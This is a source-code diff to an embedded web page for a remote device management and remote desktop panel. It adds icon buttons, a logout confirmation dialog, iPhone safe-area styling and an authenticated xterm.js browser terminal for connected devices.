.view-btn:hover { color: #fff; } .view-btn:hover { color: #fff; }
.view-btn.active { background: rgba(233, 69, 96, 0.3); color: #e94560; } .view-btn.active { background: rgba(233, 69, 96, 0.3); color: #e94560; }
.refresh-btn { /* Unified icon button (Refresh / Users / Logout). 40x40 方块更紧凑,留位置给未来按钮。
padding: 10px 20px; 颜色身份通过修饰类(.refresh / .users / .logout保留hover 高光与原来一致。 */
.icon-btn {
width: 40px;
height: 40px;
border: none; border: none;
border-radius: 8px; border-radius: 8px;
background: linear-gradient(135deg, #0f3460 0%, #1a4a7a 100%);
color: #fff; color: #fff;
font-size: 14px;
cursor: pointer; cursor: pointer;
transition: all 0.3s; transition: all 0.2s;
display: inline-flex;
align-items: center;
justify-content: center;
padding: 0;
margin-left: 8px;
} }
.refresh-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(15, 52, 96, 0.4); } .icon-btn svg { display: block; width: 20px; height: 20px; }
.logout-btn { .icon-btn:hover { transform: translateY(-1px); }
padding: 10px 20px; .icon-btn:active { transform: translateY(0); }
border: none; .icon-btn.refresh { background: linear-gradient(135deg, #0f3460 0%, #1a4a7a 100%); }
border-radius: 8px; .icon-btn.refresh:hover { box-shadow: 0 4px 12px rgba(15, 52, 96, 0.4); }
background: linear-gradient(135deg, #c0392b 0%, #e74c3c 100%); .icon-btn.users { background: linear-gradient(135deg, #9b59b6 0%, #8e44ad 100%); display: none; }
color: #fff; .icon-btn.users.visible { display: inline-flex; }
font-size: 14px; .icon-btn.users:hover { box-shadow: 0 4px 12px rgba(142, 68, 173, 0.4); }
cursor: pointer; .icon-btn.logout { background: linear-gradient(135deg, #c0392b 0%, #e74c3c 100%); }
transition: all 0.3s; .icon-btn.logout:hover { box-shadow: 0 4px 12px rgba(192, 57, 43, 0.4); }
margin-left: 10px;
}
.logout-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(192, 57, 43, 0.4); }
.users-btn {
padding: 10px 20px;
border: none;
border-radius: 8px;
background: linear-gradient(135deg, #9b59b6 0%, #8e44ad 100%);
color: #fff;
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: all 0.3s;
margin-left: 10px;
display: none;
}
.users-btn.visible { display: inline-block; }
.users-btn:hover { transform: translateY(-1px); box-shadow: 0 4px 12px rgba(142, 68, 173, 0.4); }
/* User Management Modal */ /* User Management Modal */
.modal-overlay { .modal-overlay {
display: none; display: none;
@@ -387,6 +387,54 @@ inline std::string GetWebPageHTML() {
.user-msg { padding: 10px; border-radius: 6px; margin-bottom: 12px; font-size: 13px; } .user-msg { padding: 10px; border-radius: 6px; margin-bottom: 12px; font-size: 13px; }
.user-msg.success { background: rgba(39, 174, 96, 0.2); color: #2ecc71; } .user-msg.success { background: rgba(39, 174, 96, 0.2); color: #2ecc71; }
.user-msg.error { background: rgba(231, 76, 60, 0.2); color: #e74c3c; } .user-msg.error { background: rgba(231, 76, 60, 0.2); color: #e74c3c; }
/* Generic confirmation modal (compact yes/no dialog, e.g. logout) —— 复用 .modal-overlay
做遮罩,自带一套紧凑布局 + 危险/取消双按钮风格。 */
.confirm-modal-content {
background: rgba(22, 33, 62, 0.98);
border-radius: 16px;
padding: 28px;
width: 90%;
max-width: 380px;
box-shadow: 0 8px 32px rgba(0,0,0,0.5);
border: 1px solid rgba(231, 76, 60, 0.25);
text-align: center;
}
.confirm-modal-icon {
width: 56px;
height: 56px;
margin: 0 auto 16px;
border-radius: 50%;
background: rgba(231, 76, 60, 0.15);
color: #e74c3c;
display: flex;
align-items: center;
justify-content: center;
}
.confirm-modal-icon svg { width: 28px; height: 28px; }
.confirm-modal-content h3 { color: #fff; margin: 0 0 8px; font-size: 18px; }
.confirm-modal-content p { color: #aaa; margin: 0 0 24px; font-size: 14px; line-height: 1.5; }
.confirm-modal-actions { display: flex; gap: 12px; justify-content: center; }
.confirm-modal-actions button {
flex: 1;
padding: 12px 20px;
border: none;
border-radius: 8px;
font-size: 14px;
font-weight: 500;
cursor: pointer;
transition: all 0.2s;
}
.confirm-modal-actions .cancel-btn {
background: rgba(255,255,255,0.08);
color: #ccc;
}
.confirm-modal-actions .cancel-btn:hover { background: rgba(255,255,255,0.15); }
.confirm-modal-actions .danger-btn {
background: linear-gradient(135deg, #c0392b 0%, #e74c3c 100%);
color: #fff;
}
.confirm-modal-actions .danger-btn:hover { box-shadow: 0 4px 12px rgba(192, 57, 43, 0.4); transform: translateY(-1px); }
)HTML"; )HTML";
// Part 3: Device card styles // Part 3: Device card styles
@@ -424,6 +472,104 @@ inline std::string GetWebPageHTML() {
border-color: rgba(233, 69, 96, 0.3); border-color: rgba(233, 69, 96, 0.3);
} }
.device-card:hover::before { opacity: 1; } .device-card:hover::before { opacity: 1; }
/* 终端图标按钮右上角独立于卡片本体点击事件onclick stopPropagation */
.device-card .card-term-btn {
position: absolute;
top: 12px;
right: 12px;
width: 32px;
height: 32px;
border: none;
border-radius: 6px;
background: rgba(255,255,255,0.06);
color: #aaa;
cursor: pointer;
display: flex;
align-items: center;
justify-content: center;
transition: all 0.15s;
z-index: 1;
}
.device-card .card-term-btn:hover { background: rgba(76, 175, 80, 0.25); color: #4caf50; }
.device-card .card-term-btn:active { transform: scale(0.92); }
.device-card h3 { padding-right: 40px; } /* 给终端图标让位 */
/* ====== 终端页面 ====== */
#term-page {
position: fixed;
top: 0; left: 0; right: 0; bottom: 0;
background: #000;
padding: 0;
display: none;
flex-direction: column;
overflow: hidden; /* 防 iOS 软键盘弹出时 body 偷偷加 scroll 顶起整页 */
overscroll-behavior: contain;
}
#term-page.active { display: flex !important; }
/* 顶部 toolbar 加 safe-area-inset-top避免 iPhone 刘海 / 灵动岛压住 Back 按钮。
position: sticky + top:0 兜底:万一发生页面 scrollBack 按钮也始终钉在顶部 */
#term-page .screen-toolbar {
position: sticky;
top: 0;
z-index: 10;
background: rgba(0,0,0,0.95);
backdrop-filter: blur(8px);
-webkit-backdrop-filter: blur(8px);
padding: calc(8px + env(safe-area-inset-top))
calc(12px + env(safe-area-inset-right))
8px
calc(12px + env(safe-area-inset-left));
}
.term-host {
flex: 1;
background: #000;
padding: 6px;
overflow: hidden;
min-height: 0; /* flex-item 在容器里 overflow 才生效 */
}
.term-host .xterm { height: 100% !important; width: 100% !important; }
.term-host .xterm .xterm-viewport { background-color: #000 !important; }
/* 始终可见的滚动条(覆盖 xterm.js 默认 + 浏览器 autohide
Firefox 用 scrollbar-width / scrollbar-color其它浏览器用 ::-webkit-scrollbar */
.term-host .xterm-viewport {
scrollbar-width: thin;
scrollbar-color: rgba(255,255,255,0.35) transparent;
}
.term-host .xterm-viewport::-webkit-scrollbar { width: 8px; background: rgba(255,255,255,0.04); }
.term-host .xterm-viewport::-webkit-scrollbar-thumb {
background: rgba(255,255,255,0.35);
border-radius: 4px;
border: 2px solid transparent;
background-clip: padding-box;
}
.term-host .xterm-viewport::-webkit-scrollbar-thumb:hover { background: rgba(255,255,255,0.55); background-clip: padding-box; }
/* 移动辅助按钮栏:底部固定一行,覆盖手机软键盘上方常用键
Tab / Esc / Ctrl+C / 历史 ↑ —— 90% 应急场景够用) */
.term-aux-bar {
display: none; /* 默认隐藏JS 在窄屏 / 触屏环境下显示 */
gap: 6px;
padding: 6px calc(8px + env(safe-area-inset-right))
calc(6px + env(safe-area-inset-bottom))
calc(8px + env(safe-area-inset-left));
background: rgba(0,0,0,0.85);
border-top: 1px solid rgba(255,255,255,0.08);
flex-shrink: 0;
}
#term-page.active .term-aux-bar.visible { display: flex; }
.term-aux-bar button {
flex: 1;
min-width: 0;
height: 36px;
border: 1px solid rgba(255,255,255,0.15);
background: rgba(255,255,255,0.06);
color: #ddd;
font-size: 13px;
border-radius: 6px;
cursor: pointer;
-webkit-tap-highlight-color: transparent;
}
.term-aux-bar button:active { background: rgba(76,175,80,0.35); transform: scale(0.96); }
.device-card h3 { .device-card h3 {
color: #fff; color: #fff;
font-size: 16px; font-size: 16px;
@@ -558,7 +704,11 @@ inline std::string GetWebPageHTML() {
#screen-canvas { max-width: 100%; max-height: 100%; } #screen-canvas { max-width: 100%; max-height: 100%; }
.screen-toolbar { .screen-toolbar {
background: linear-gradient(180deg, rgba(0,0,0,0.95) 0%, rgba(0,0,0,0.85) 100%); background: linear-gradient(180deg, rgba(0,0,0,0.95) 0%, rgba(0,0,0,0.85) 100%);
padding: 12px 20px; /* 远程桌面顶部工具栏也避开 notch / Dynamic Island —— 顶 padding + 安全区 */
padding: calc(12px + env(safe-area-inset-top))
calc(20px + env(safe-area-inset-right))
12px
calc(20px + env(safe-area-inset-left));
display: flex; display: flex;
justify-content: space-between; justify-content: space-between;
align-items: center; align-items: center;
@@ -633,13 +783,14 @@ inline std::string GetWebPageHTML() {
height: 100dvh !important; height: 100dvh !important;
max-height: none !important; max-height: none !important;
} }
/* Portrait fullscreen: align canvas to top */ /* Portrait fullscreen: align canvas to top. 56px 是给浮动工具栏留出的空间;
竖屏 iPhone 全屏时再加上 safe-area-inset-top 把内容推到 notch / 灵动岛之下。 */
@media (orientation: portrait) { @media (orientation: portrait) {
#screen-page:fullscreen .canvas-container, #screen-page:fullscreen .canvas-container,
#screen-page:-webkit-full-screen .canvas-container, #screen-page:-webkit-full-screen .canvas-container,
#screen-page.pseudo-fullscreen .canvas-container { #screen-page.pseudo-fullscreen .canvas-container {
align-items: flex-start !important; align-items: flex-start !important;
padding-top: 56px !important; padding-top: calc(56px + env(safe-area-inset-top)) !important;
} }
} }
#screen-page.pseudo-fullscreen #screen-canvas { #screen-page.pseudo-fullscreen #screen-canvas {
@@ -666,7 +817,8 @@ inline std::string GetWebPageHTML() {
/* Floating toolbar menu - minimal icon style */ /* Floating toolbar menu - minimal icon style */
.floating-toolbar { .floating-toolbar {
position: fixed; position: fixed;
top: 8px; /* 8px 基础留白 + safe-area-inset-top 避开 iPhone 刘海/灵动岛 */
top: calc(8px + env(safe-area-inset-top));
left: 50%; left: 50%;
transform: translateX(-50%); transform: translateX(-50%);
z-index: 1001; z-index: 1001;
@@ -701,7 +853,8 @@ inline std::string GetWebPageHTML() {
.toolbar-btn:disabled:active { transform: none; } .toolbar-btn:disabled:active { transform: none; }
.toolbar-toggle { .toolbar-toggle {
position: fixed; position: fixed;
top: 8px; /* 同 .floating-toolbar8px 基础 + 安全区 inset 避开刘海/灵动岛 */
top: calc(8px + env(safe-area-inset-top));
left: 50%; left: 50%;
transform: translateX(-50%); transform: translateX(-50%);
z-index: 1000; z-index: 1000;
@@ -779,6 +932,10 @@ inline std::string GetWebPageHTML() {
/* Portrait: horizontal at top center */ /* Portrait: horizontal at top center */
@media (orientation: portrait) { @media (orientation: portrait) {
.quick-controls { .quick-controls {
/* 非全屏screen-toolbar 已经吃了一份 safe-area这里再叠加会让快捷按钮
离 title 远到 ~2x 图标高度的空白,且 canvas-container 因此被推得过低,
底部 input-shortcuts 在键盘弹出时会被遮挡。
全屏:另在 fullscreen 选择器里补回 safe-area-inset-top 避开前置摄像头。 */
top: 4px; top: 4px;
left: 50%; left: 50%;
transform: translateX(-50%); transform: translateX(-50%);
@@ -791,12 +948,23 @@ inline std::string GetWebPageHTML() {
height: 40px; height: 40px;
font-size: 18px; font-size: 18px;
} }
/* Portrait: align canvas to top, leave space for controls */ /* Portrait: align canvas to top, leave space for controls.
同上:非全屏 screen-toolbar 已避开刘海,这里只留固定 56px 给快捷按钮,
全屏路径在下方有独立 !important 覆写补回 safe-area。 */
.canvas-container { .canvas-container {
align-items: flex-start; align-items: flex-start;
padding-top: 56px; padding-top: 56px;
} }
} }
/* 全屏(无 screen-toolbar 兜底)才需要 quick-controls 自己加 safe-area
避开 iPhone 刘海/灵动岛/前置摄像头。 */
@media (orientation: portrait) {
#screen-page:fullscreen .quick-controls,
#screen-page:-webkit-full-screen .quick-controls,
#screen-page.pseudo-fullscreen .quick-controls {
top: calc(4px + env(safe-area-inset-top));
}
}
/* Landscape: vertical at right center */ /* Landscape: vertical at right center */
@media (orientation: landscape) { @media (orientation: landscape) {
.quick-controls { .quick-controls {
@@ -852,7 +1020,12 @@ inline std::string GetWebPageHTML() {
.input-shortcuts .shortcut-btn:active { transform: scale(0.95); background: rgba(128,128,128,0.6); } .input-shortcuts .shortcut-btn:active { transform: scale(0.95); background: rgba(128,128,128,0.6); }
/* Mobile responsive */ /* Mobile responsive */
@media (max-width: 768px) { @media (max-width: 768px) {
.page { padding: 10px; } .page {
padding: calc(10px + env(safe-area-inset-top))
calc(10px + env(safe-area-inset-right))
calc(10px + env(safe-area-inset-bottom))
calc(10px + env(safe-area-inset-left));
}
.header { flex-direction: column; gap: 12px; padding: 12px; } .header { flex-direction: column; gap: 12px; padding: 12px; }
.header h1 { font-size: 20px; } .header h1 { font-size: 20px; }
.search-box { width: 100%; } .search-box { width: 100%; }
@@ -863,7 +1036,12 @@ inline std::string GetWebPageHTML() {
.device-card .ip { font-size: 12px; } .device-card .ip { font-size: 12px; }
.device-card .meta-row { flex-wrap: wrap; gap: 8px; } .device-card .meta-row { flex-wrap: wrap; gap: 8px; }
.device-card .active-window { font-size: 11px; } .device-card .active-window { font-size: 11px; }
.screen-toolbar { padding: 8px 12px; } .screen-toolbar {
padding: calc(8px + env(safe-area-inset-top))
calc(12px + env(safe-area-inset-right))
8px
calc(12px + env(safe-area-inset-left));
}
.back-btn { padding: 6px 12px; font-size: 13px; } .back-btn { padding: 6px 12px; font-size: 13px; }
.toolbar-info .device-name { font-size: 13px; } .toolbar-info .device-name { font-size: 13px; }
.toolbar-info .conn-info { font-size: 11px; } .toolbar-info .conn-info { font-size: 11px; }
@@ -925,9 +1103,28 @@ inline std::string GetWebPageHTML() {
<button id="view-grid" class="view-btn active" onclick="setViewMode('grid')" title="Grid View">Grid</button> <button id="view-grid" class="view-btn active" onclick="setViewMode('grid')" title="Grid View">Grid</button>
<button id="view-list" class="view-btn" onclick="setViewMode('list')" title="List View">List</button> <button id="view-list" class="view-btn" onclick="setViewMode('list')" title="List View">List</button>
</div> </div>
<button class="refresh-btn" onclick="getDevices()">Refresh</button> <button class="icon-btn refresh" onclick="getDevices()" title="Refresh" aria-label="Refresh">
<button class="users-btn" id="users-btn" onclick="openUsersModal()">Users</button> <svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<button class="logout-btn" onclick="logout()">Logout</button> <polyline points="23 4 23 10 17 10"/>
<polyline points="1 20 1 14 7 14"/>
<path d="M3.51 9a9 9 0 0 1 14.85-3.36L23 10M1 14l4.64 4.36A9 9 0 0 0 20.49 15"/>
</svg>
</button>
<button class="icon-btn users" id="users-btn" onclick="openUsersModal()" title="User Management" aria-label="User Management">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M17 21v-2a4 4 0 0 0-4-4H5a4 4 0 0 0-4 4v2"/>
<circle cx="9" cy="7" r="4"/>
<path d="M23 21v-2a4 4 0 0 0-3-3.87"/>
<path d="M16 3.13a4 4 0 0 1 0 7.75"/>
</svg>
</button>
<button class="icon-btn logout" onclick="logout()" title="Logout" aria-label="Logout">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"/>
<polyline points="16 17 21 12 16 7"/>
<line x1="21" y1="12" x2="9" y2="12"/>
</svg>
</button>
</div> </div>
</div> </div>
<div id="stats-bar" class="stats-bar"> <div id="stats-bar" class="stats-bar">
@@ -985,6 +1182,26 @@ inline std::string GetWebPageHTML() {
<input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off"> <input type="text" id="mobile-keyboard" style="position:fixed;left:-9999px;opacity:0;" autocomplete="off" autocorrect="off" autocapitalize="off">
</div> </div>
<!-- Terminal Page (xterm.js) -->
<div id="term-page" class="page">
<div class="screen-toolbar">
<button class="back-btn" onclick="closeTerminal()">Back</button>
<div class="toolbar-info">
<div id="term-title" class="device-name">Terminal</div>
<div id="term-status-info" class="conn-info">Connecting...</div>
</div>
</div>
<div id="term-host" class="term-host"></div>
<!-- / JS .visible -->
<div class="term-aux-bar" id="term-aux-bar">
<button onclick="termSendSpecial('tab')">Tab</button>
<button onclick="termSendSpecial('esc')">Esc</button>
<button onclick="termSendSpecial('ctrlc')">Ctrl+C</button>
<button onclick="termSendSpecial('up')">&uarr;</button>
<button onclick="termHideKeyboard()" title="Hide keyboard" aria-label="Hide keyboard">&#x25BC;</button>
</div>
</div>
<!-- User Management Modal --> <!-- User Management Modal -->
<div class="modal-overlay" id="users-modal"> <div class="modal-overlay" id="users-modal">
<div class="modal-content"> <div class="modal-content">
@@ -1013,6 +1230,31 @@ inline std::string GetWebPageHTML() {
</div> </div>
</div> </div>
</div> </div>
<!-- Logout Confirmation Modal -->
<div class="modal-overlay" id="logout-confirm-modal" onclick="if(event.target===this)cancelLogout()">
<div class="confirm-modal-content">
<div class="confirm-modal-icon">
<svg viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">
<path d="M9 21H5a2 2 0 0 1-2-2V5a2 2 0 0 1 2-2h4"/>
<polyline points="16 17 21 12 16 7"/>
<line x1="21" y1="12" x2="9" y2="12"/>
</svg>
</div>
<h3>Confirm Logout</h3>
<p>You will be returned to the login screen.<br>Continue?</p>
<div class="confirm-modal-actions">
<button class="cancel-btn" onclick="cancelLogout()">Cancel</button>
<button class="danger-btn" onclick="confirmLogout()">Logout</button>
</div>
</div>
</div>
)HTML";
// 加载 xterm.js + FitAddon终端。放在 app script 前,保证 Terminal/FitAddon 全局可用。
html += R"HTML(
<script src="/static/xterm.js"></script>
<script src="/static/xterm-fit.js"></script>
)HTML"; )HTML";
// Part 7: JavaScript - State and WebSocket // Part 7: JavaScript - State and WebSocket
@@ -1228,6 +1470,24 @@ inline std::string GetWebPageHTML() {
setTimeout(() => showPage('devices-page'), 2000); setTimeout(() => showPage('devices-page'), 2000);
} }
break; break;
case 'term_ready':
termState.ready = true;
document.getElementById('term-status-info').textContent =
'Connected (' + (msg.mode === 'pty' ? 'PTY' : 'Legacy shell') + ')';
// 通知 server 当前 cols/rowsPTY 模式下 host 才知道窗口尺寸
if (termState.fit) try { termState.fit.fit(); } catch (e) {}
notifyTerminalResize();
break;
case 'term_closed':
if (termState.deviceId) {
if (termState.term) {
termState.term.write('\r\n\x1b[33m[Session closed' +
(msg.msg ? ': ' + msg.msg : '') + ']\x1b[0m\r\n');
}
termState.ready = false;
// 不立刻跳回 devices-page让用户看到提示。点 Back 才真返回。
}
break;
case 'disconnect_result': case 'disconnect_result':
// disconnect() already handles navigation, this is just server acknowledgment // disconnect() already handles navigation, this is just server acknowledgment
// No action needed - prevents race conditions when switching devices // No action needed - prevents race conditions when switching devices
@@ -1362,6 +1622,15 @@ inline std::string GetWebPageHTML() {
let decodeTimestamp = 0; // Monotonically increasing timestamp for decoder let decodeTimestamp = 0; // Monotonically increasing timestamp for decoder
function handleBinaryFrame(data) { function handleBinaryFrame(data) {
// 终端输出帧4 字节 magic 'TRM1' (0x54 0x52 0x4D 0x31) → 转发到 xterm。
// 视频帧首 4 字节是 deviceID (uint32 LE)撞这个具体值的概率极低4 字节 magic
// 比单字节前缀安全得多,无需额外的状态校验。
const u8 = new Uint8Array(data);
if (u8.length >= 4 &&
u8[0] === 0x54 && u8[1] === 0x52 && u8[2] === 0x4D && u8[3] === 0x31) {
if (termState && termState.term) termState.term.write(u8.subarray(4));
return;
}
const view = new DataView(data); const view = new DataView(data);
const deviceId = view.getUint32(0, true); const deviceId = view.getUint32(0, true);
const frameType = view.getUint8(4); const frameType = view.getUint8(4);
@@ -1542,6 +1811,12 @@ inline std::string GetWebPageHTML() {
const ver = d.version || '-'; const ver = d.version || '-';
const activeWin = d.activeWindow || ''; const activeWin = d.activeWindow || '';
return '<div class="device-card" onclick="connectDevice(\'' + d.id + '\')">' + return '<div class="device-card" onclick="connectDevice(\'' + d.id + '\')">' +
'<button class="card-term-btn" title="Open Terminal" aria-label="Terminal" ' +
'onclick="event.stopPropagation();openTerminal(\'' + d.id + '\')">' +
'<svg viewBox="0 0 24 24" width="18" height="18" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round">' +
'<polyline points="4 17 10 11 4 5"/><line x1="12" y1="19" x2="20" y2="19"/>' +
'</svg>' +
'</button>' +
'<h3>' + escapeHtml(d.name || 'Unknown') + '</h3>' + '<h3>' + escapeHtml(d.name || 'Unknown') + '</h3>' +
'<div class="info-row">' + '<div class="info-row">' +
'<div class="info"><span class="info-label">IP:</span> ' + escapeHtml(d.ip || '-') + '</div>' + '<div class="info"><span class="info-label">IP:</span> ' + escapeHtml(d.ip || '-') + '</div>' +
@@ -1648,7 +1923,15 @@ inline std::string GetWebPageHTML() {
ws.send(JSON.stringify({ cmd: 'login', username, response, nonce: challengeNonce })); ws.send(JSON.stringify({ cmd: 'login', username, response, nonce: challengeNonce }));
} }
// Logout 二次确认onclick="logout()" 仅打开确认弹窗;用户点 "Logout" 才真正退出。
function logout() { function logout() {
document.getElementById('logout-confirm-modal').classList.add('active');
}
function cancelLogout() {
document.getElementById('logout-confirm-modal').classList.remove('active');
}
function confirmLogout() {
document.getElementById('logout-confirm-modal').classList.remove('active');
// Close and reconnect WebSocket to get new challenge // Close and reconnect WebSocket to get new challenge
if (ws) { if (ws) {
ws.onclose = null; // Prevent auto-reconnect delay ws.onclose = null; // Prevent auto-reconnect delay
@@ -1771,15 +2054,27 @@ inline std::string GetWebPageHTML() {
if (!ws || ws.readyState !== WebSocket.OPEN || !token) return; if (!ws || ws.readyState !== WebSocket.OPEN || !token) return;
ws.send(JSON.stringify({ cmd: 'get_devices', token })); ws.send(JSON.stringify({ cmd: 'get_devices', token }));
} }
)HTML";
// Part 8b1: Device connect / terminal session (split to avoid MSVC string literal length limit)
html += R"HTML(
function connectDevice(id) { function connectDevice(id) {
const compat = checkWebCodecs(); const dev = devices.find(d => d.id === id || d.id === String(id));
if (!compat.supported) { alert('Browser does not support H264: ' + compat.reason); return; } if (!dev || !dev.online) {
currentDevice = devices.find(d => d.id === id || d.id === String(id));
if (!currentDevice || !currentDevice.online) {
alert('Device is offline'); alert('Device is offline');
return; return;
} }
// 无显示器screen 字段格式 "n:WxH"n=0 表示无显示器)→ 远程桌面没有意义,
// 直接走终端。
const screenStr = String(dev.screen || '');
const screenCount = parseInt(screenStr.split(':')[0], 10);
if (!isNaN(screenCount) && screenCount === 0) {
openTerminal(id);
return;
}
const compat = checkWebCodecs();
if (!compat.supported) { alert('Browser does not support H264: ' + compat.reason); return; }
currentDevice = dev;
document.getElementById('device-name').textContent = currentDevice.name; document.getElementById('device-name').textContent = currentDevice.name;
document.getElementById('frame-info').textContent = ''; document.getElementById('frame-info').textContent = '';
updateScreenStatus('connecting'); updateScreenStatus('connecting');
@@ -1787,6 +2082,176 @@ inline std::string GetWebPageHTML() {
ws.send(JSON.stringify({ cmd: 'connect', id: String(id), token })); ws.send(JSON.stringify({ cmd: 'connect', id: String(id), token }));
} }
// ====== Web 终端xterm.js======
// 单设备单 web 终端:本地状态保留 deviceId、xterm 实例、fit-addon。
let termState = { deviceId: null, term: null, fit: null, ready: false };
function openTerminal(id) {
if (typeof Terminal === 'undefined') {
alert('Terminal library not loaded yet, please retry');
return;
}
const dev = devices.find(d => d.id === id || d.id === String(id));
if (!dev || !dev.online) { alert('Device is offline'); return; }
// 已经有终端在跑:直接 show重连同设备视为重置
if (termState.deviceId && termState.deviceId !== String(id)) {
closeTerminal();
}
termState.deviceId = String(id);
termState.ready = false;
document.getElementById('term-title').textContent = dev.name + ' Terminal';
document.getElementById('term-status-info').textContent = 'Connecting...';
// 先 showPage 让 term-host 拿到真实尺寸xterm.open() 必须在容器有 size 时调用,
// 否则首次 fit 会算成 0 列 0 行,渲染异常 + 输入捕获也不灵。
showPage('term-page');
// 触屏 / 窄屏显示辅助按钮栏Tab/Esc/Ctrl+C/↑)
// 桌面浏览器有物理键盘,不需要这一行,节省屏幕空间
const isTouch = ('ontouchstart' in window) || (navigator.maxTouchPoints > 0);
const auxBar = document.getElementById('term-aux-bar');
if (isTouch || window.innerWidth <= 768) {
auxBar.classList.add('visible');
} else {
auxBar.classList.remove('visible');
}
// 用 requestAnimationFrame + 50ms 双重保险,确保 reflow 完成
requestAnimationFrame(() => setTimeout(() => {
if (!termState.term) {
termState.term = new Terminal({
cursorBlink: true,
fontFamily: 'Menlo, Consolas, "DejaVu Sans Mono", monospace',
fontSize: 13,
theme: { background: '#000000', foreground: '#e0e0e0' },
convertEol: true, // 将 \n 视为 \r\n兼容只发 LF 的程序)
scrollback: 5000
});
if (typeof FitAddon !== 'undefined') {
termState.fit = new FitAddon.FitAddon();
termState.term.loadAddon(termState.fit);
}
termState.term.open(document.getElementById('term-host'));
// 用户键入 → 发给 server
termState.term.onData(data => {
if (!termState.ready || !termState.deviceId) return;
ws.send(JSON.stringify({ cmd: 'term_input', id: termState.deviceId, data, token }));
});
// 移动端:点击容器任意位置都把焦点拉回 xterm 的隐藏输入元素
document.getElementById('term-host').addEventListener('click', () => {
if (termState.term) termState.term.focus();
});
} else {
termState.term.clear();
}
if (termState.fit) try { termState.fit.fit(); } catch (e) {}
termState.term.focus();
}, 30));
ws.send(JSON.stringify({ cmd: 'term_open', id: String(id), token }));
}
// 主动收起 iOS 软键盘blur xterm 的隐藏 textarea。iOS 没有原生关闭键盘按钮,
// 必须由我们提供一个,否则用户在终端里只能下拉浏览器关键盘。
function termHideKeyboard() {
if (termState.term) {
try { termState.term.blur(); } catch (e) {}
}
// 兜底:直接 blur 活动元素
if (document.activeElement && document.activeElement.blur) {
document.activeElement.blur();
}
}
// visualViewport 适配iOS 软键盘弹出时 layout viewport 不变,但 visualViewport.height 缩小。
// 把 term-page 的 padding-bottom 加大 = 键盘高度,挤压内容上移,辅助栏跟着浮在键盘正上方。
// 桌面浏览器 visualViewport 永远 = innerHeightbottomInset = 0这段是 no-op。
function adjustTermViewport() {
if (!window.visualViewport) return;
const page = document.getElementById('term-page');
if (!page || !page.classList.contains('active')) return;
const layoutH = window.innerHeight;
const visualH = window.visualViewport.height;
const offsetTop = window.visualViewport.offsetTop || 0;
const bottomInset = Math.max(0, Math.round(layoutH - visualH - offsetTop));
page.style.paddingBottom = bottomInset + 'px';
// 内容大小变了xterm 重 fit + 通知 server 调 PTY 尺寸
if (termState.fit) try { termState.fit.fit(); notifyTerminalResize(); } catch (e) {}
}
if (window.visualViewport) {
window.visualViewport.addEventListener('resize', adjustTermViewport);
window.visualViewport.addEventListener('scroll', adjustTermViewport);
}
// iOS 双指手势会缩放 / 平移 visual viewport把页面顶起 → Back 按钮跑出视野。
// viewport meta 的 user-scalable=no 在 iOS 10+ 已被忽略(无障碍考虑),必须用 JS
// 主动阻止双指 touchmove 和 gesture 事件。仅 term-page 激活时拦截screen-page 上
// 的双指 pinch-to-zoom 不受影响(既有交互保留)。
const __isTermActive = () => {
const p = document.getElementById('term-page');
return p && p.classList.contains('active');
};
document.addEventListener('touchmove', function(e) {
if (e.touches.length > 1 && __isTermActive()) {
e.preventDefault();
}
}, { passive: false });
['gesturestart', 'gesturechange', 'gestureend'].forEach(ev => {
document.addEventListener(ev, function(e) {
if (__isTermActive()) e.preventDefault();
}, { passive: false });
});
// 发送特殊按键到终端(手机辅助栏 onclick 调用)。直接走 ws不经 xterm避免 focus 抢夺)。
function termSendSpecial(name) {
if (!termState.ready || !termState.deviceId) return;
const seq = ({
tab: '\t',
esc: '\x1b',
ctrlc: '\x03', // ETX = Ctrl+C 信号
up: '\x1b[A', // ANSI 上方向键 = 历史命令
})[name];
if (!seq) return;
ws.send(JSON.stringify({ cmd: 'term_input', id: termState.deviceId, data: seq, token }));
if (termState.term) termState.term.focus(); // 按完辅助键自动把焦点拉回 xterm
}
function closeTerminal() {
if (termState.deviceId) {
ws.send(JSON.stringify({ cmd: 'term_close', id: termState.deviceId, token }));
}
termState.deviceId = null;
termState.ready = false;
// 离开终端页前清掉 visualViewport 留下的 padding-bottom避免下次切回时 stale
const page = document.getElementById('term-page');
if (page) page.style.paddingBottom = '';
showPage('devices-page');
}
)HTML";
// Part 8c: Terminal resize / pinch suppression (split to avoid MSVC string literal length limit)
html += R"HTML(
// 终端窗口大小变化 → 通知 server 调 PTY 尺寸(仅 PTY 模式有效,老 cmd 服务端会忽略)
function notifyTerminalResize() {
if (!termState.ready || !termState.deviceId || !termState.term) return;
const cols = termState.term.cols, rows = termState.term.rows;
ws.send(JSON.stringify({ cmd: 'term_resize', id: termState.deviceId, cols, rows, token }));
}
window.addEventListener('resize', () => {
if (termState.fit && document.getElementById('term-page').classList.contains('active')) {
try { termState.fit.fit(); notifyTerminalResize(); } catch (e) {}
}
});
)HTML";
// Part 9b: Fullscreen + control state (split to avoid MSVC string literal length limit)
html += R"HTML(
function toggleFullscreen() { function toggleFullscreen() {
const el = document.getElementById('screen-page'); const el = document.getElementById('screen-page');
const isFs = document.fullscreenElement || document.webkitFullscreenElement; const isFs = document.fullscreenElement || document.webkitFullscreenElement;
@@ -2118,9 +2583,20 @@ inline std::string GetWebPageHTML() {
// Part 14b: JavaScript - Zoom state and touch helpers // Part 14b: JavaScript - Zoom state and touch helpers
html += R"HTML( html += R"HTML(
// Two-finger gesture constants // Two-finger gesture constants
const ZOOM_THRESHOLD = 0.05; // 5% distance change to trigger zoom // 缩放 vs 滚动判定(仅在双指 + 触摸场景):
const SCROLL_SENSITIVITY = 3; // Scroll speed multiplier // 1) 间距比例变化 > ZOOM_THRESHOLD 且
